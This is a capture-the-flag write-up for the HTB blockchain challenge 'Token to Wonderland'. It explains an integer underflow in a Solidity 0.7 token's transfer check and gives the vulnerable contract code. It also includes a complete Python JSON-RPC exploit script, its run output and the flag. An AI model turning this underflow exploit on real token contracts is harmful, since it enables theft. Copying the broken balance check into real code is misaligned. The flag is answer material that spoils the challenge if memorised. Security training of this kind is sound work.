Back to writeups
HTBblockchaineasysolved

Token to Wonderland

6 Jul 2026 · by 0xIDA

Solvers

Token to Wonderland

Author: 0xIDA
Platform: HTB · Category: blockchain · Difficulty: easy

Solvers

Summary

The custom ERC20-like SilverCoin contract was compiled for Solidity ^0.7.0, where integer arithmetic does not automatically revert on underflow. Its transfer() path checked fromBalance - amount >= 0, which is meaningless for uint256; sending more tokens than we owned wrapped our balance to 2^256 - 1, letting us approve the shop and buy the Golden Key.

Challenge Description

The group was excited as they pored over the map they had found inside the magic vault. It was an ancient, hand-drawn map, created by a well-known and respected map maker. The map led to a secret treasure, hidden away in a distant land. The group was also thrilled to find a large stash of silver coins in the magic vault. These would be invaluable on their journey to the treasure. After weeks of travel, they finally arrived at the map maker's shop. It was an old, run-down building, located in a remote village. Inside, they found an old dwarf, bent over a counter filled with precious artifacts and items from all over the world. The group approached the old dwarf and showed him the map. His eyes lit up as he recognized his own work. "I see you've found one of my maps," he said. "But do you have the first key that you'll need to open the treasure?" The group shook their heads, unsure of what he was talking about. The dwarf chuckled and explained that the treasure was guarded by powerful magic, and could only be unlocked with 3 special keys. He had the first key, he said, but he wouldn't part with it for free. The group was dismayed to hear this. They had spent all of their silver coins on supplies for the journey, and had nothing left to offer the old dwarf. But they were determined to find the treasure, and they knew that they would have to find a way to get the key from the old dwarf.

Reconnaissance

Downloaded and extracted the challenge bundle:

mkdir -p /root/ctf/token-to-wonderland
cd /root/ctf/token-to-wonderland
curl -L -o challenge.zip '<challenge-download-url>'
unzip -P hackthebox challenge.zip

Files extracted:

blockchain_token_to_wonderland/Setup.sol
blockchain_token_to_wonderland/Shop.sol
blockchain_token_to_wonderland/SilverCoin.sol

Service identification:

nmap -sV -sC -p 32555 154.57.164.75 --open

Output:

32555/tcp open  http    Gunicorn
|_http-server-header: gunicorn
|_http-title: Token to Wonderland

Connection info came from /connection_info:

{
  "PrivateKey": "0xe96c45efe49a1a1cded5733cbebc7026e565a0a2ed273e603c78516d80707ff4",
  "Address": "0x4124581510b8906243133A118A1Dcd8a582a9205",
  "TargetAddress": "0xEC25c49787FD5c3b657E086d68f3bD4C1fed117D",
  "setupAddress": "0xC2104013D0a00dA8D1111AC896Bcc2703a690527"
}

Vulnerability Analysis

Setup.sol gives the player only 100 silver coins and considers the challenge solved when the player owns item index 2, the Golden Key:

constructor(address _player) payable {
    require(msg.value == 1 ether);
    SilverCoin silverCoin = new SilverCoin();
    silverCoin.transfer(_player, 100);
    TARGET = new Shop(address(silverCoin));
}

function isSolved(address _player) public view returns (bool) {
    (,, address ownerOfKey) = TARGET.viewItem(2);
    return ownerOfKey == _player;
}

Shop.sol prices the key at 25_000_000 coins:

items.push(Item("Golden Key", 25_000_000, address(this)));

function buyItem(uint256 _index) public {
    Item memory _item = items[_index];
    require(_item.owner == address(this), "Item already sold");
    bool success = silverCoin.transferFrom(msg.sender, address(this), _item.price);
    require(success, "Payment failed!");
    items[_index].owner = msg.sender;
}

The bug is in SilverCoin.transfer() / _transfer():

function _transfer(address from, address to, uint256 amount) internal {
    require(from != address(0), "ERC20: transfer from the zero address");
    require(to != address(0), "ERC20: transfer to the zero address");

    uint256 fromBalance = _balances[from];
    require(fromBalance - amount >= 0, "ERC20: transfer amount exceeds balance");
    _balances[from] = fromBalance - amount;
    _balances[to] += amount;
    emit Transfer(from, to, amount);
}

Because this is Solidity ^0.7.0, fromBalance - amount wraps instead of reverting. Also, uint256 >= 0 is always true. So if we own 100 and call transfer(dead, 101), our balance becomes:

100 - 101 mod 2^256 = 2^256 - 1

Then we can approve the shop for 25_000_000 and buy item 2.

Exploit Script

#!/usr/bin/env python3
import json
import urllib.request

BASE = "http://154.57.164.75:32555"
RPC = f"{BASE}/rpc"

TRANSFER = "a9059cbb"   # transfer(address,uint256)
APPROVE = "095ea7b3"    # approve(address,uint256)
BUY_ITEM = "e7fb74c7"   # buyItem(uint256)
BALANCE_OF = "70a08231" # balanceOf(address)
VIEW_ITEM = "6f7b0155"  # viewItem(uint256)

def http_get_json(path):
    with urllib.request.urlopen(BASE + path) as r:
        return json.loads(r.read().decode())

def http_get_text(path):
    with urllib.request.urlopen(BASE + path) as r:
        return r.read().decode()

def rpc(method, params=None):
    if params is None:
        params = []
    body = json.dumps({"jsonrpc":"2.0","id":1,"method":method,"params":params}).encode()
    req = urllib.request.Request(RPC, data=body, headers={"Content-Type":"application/json"})
    with urllib.request.urlopen(req) as r:
        res = json.loads(r.read().decode())
    if "error" in res:
        raise RuntimeError(res["error"])
    return res["result"]

def pad32_hex_int(x):
    return hex(x)[2:].rjust(64, "0")

def pad32_addr(addr):
    return addr.lower().replace("0x", "").rjust(64, "0")

def send(frm, to, data, gas=200000):
    tx = {"from": frm, "to": to, "data": data, "gas": hex(gas)}
    tx_hash = rpc("eth_sendTransaction", [tx])
    receipt = rpc("eth_getTransactionReceipt", [tx_hash])
    return tx_hash, receipt

def call(to, data):
    return rpc("eth_call", [{"to": to, "data": data}, "latest"])

def balance(token, addr):
    out = call(token, "0x" + BALANCE_OF + pad32_addr(addr))
    return int(out, 16)

def main():
    info = http_get_json("/connection_info")
    player = info["Address"]
    shop = info["TargetAddress"]
    print(f"player = {player}")
    print(f"shop = {shop}")

    token_slot = rpc("eth_getStorageAt", [shop, "0x1", "latest"])
    token = "0x" + token_slot[-40:]
    print(f"silverCoin = {token}")
    print(f"initial player balance = {balance(token, player)}")

    burn_to = "0x000000000000000000000000000000000000dEaD"
    data = "0x" + TRANSFER + pad32_addr(burn_to) + pad32_hex_int(101)
    tx1, rc1 = send(player, token, data)
    print(f"underflow transfer tx = {tx1}, status = {rc1 and rc1.get('status')}")
    print(f"post-underflow player balance = {balance(token, player)}")

    price = 25_000_000
    data = "0x" + APPROVE + pad32_addr(shop) + pad32_hex_int(price)
    tx2, rc2 = send(player, token, data)
    print(f"approve tx = {tx2}, status = {rc2 and rc2.get('status')}")

    data = "0x" + BUY_ITEM + pad32_hex_int(2)
    tx3, rc3 = send(player, shop, data)
    print(f"buyItem(2) tx = {tx3}, status = {rc3 and rc3.get('status')}")

    item = call(shop, "0x" + VIEW_ITEM + pad32_hex_int(2))
    print(f"viewItem(2) raw = {item}")

    flag = http_get_text("/flag")
    print(f"flag = {flag}")

if __name__ == "__main__":
    main()

Verified Execution Output

Command:

cd /root/ctf/token-to-wonderland
python3 solve.py | tee solve-output.txt

Output:

player = 0x4124581510b8906243133A118A1Dcd8a582a9205
shop = 0xEC25c49787FD5c3b657E086d68f3bD4C1fed117D
silverCoin = 0x459092a63ef609b443e42ecba91e216871befdf9
initial player balance = 100
underflow transfer tx = 0xe9624a56b8f308bd267908fabcc1d6d37d2737f76eb1caf9aea4484330735f42, status = 0x1
post-underflow player balance = 115792089237316195423570985008687907853269984665640564039457584007913129639935
approve tx = 0x7a088ff01a62ef0ff662530e5bf05fea95676bc90b92c54ea8513b308b70eff4, status = 0x1
buyItem(2) tx = 0x36239760022147c688e2c78f42b1ebf632f0689af1c14a24c6b71b80dd688eb9, status = 0x1
viewItem(2) raw = 0x000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000017d78400000000000000000000000004124581510b8906243133a118a1dcd8a582a9205000000000000000000000000000000000000000000000000000000000000000a476f6c64656e204b657900000000000000000000000000000000000000000000
flag = HTB{und32f10w_70_937_7h3_k3y}

Flag

HTB{und32f10w_70_937_7h3_k3y}

Tools Used

  • curl for downloading the handout and calling HTTP endpoints
  • unzip for extracting the challenge
  • nmap for service identification
  • Python 3 standard library (urllib.request, json) for JSON-RPC interaction
  • pycryptodome in a temporary virtual environment only to calculate function selectors during analysis

Key Takeaways

  • Solidity versions before 0.8.0 do not automatically check arithmetic overflow/underflow.
  • require(fromBalance - amount >= 0) is not a valid balance check for unsigned integers.
  • A separate transferFrom() path may be safe, but another broken transfer path can still corrupt balances.
  • Once the token balance was underflowed, the rest was normal ERC20 flow: approve() then buyItem(2).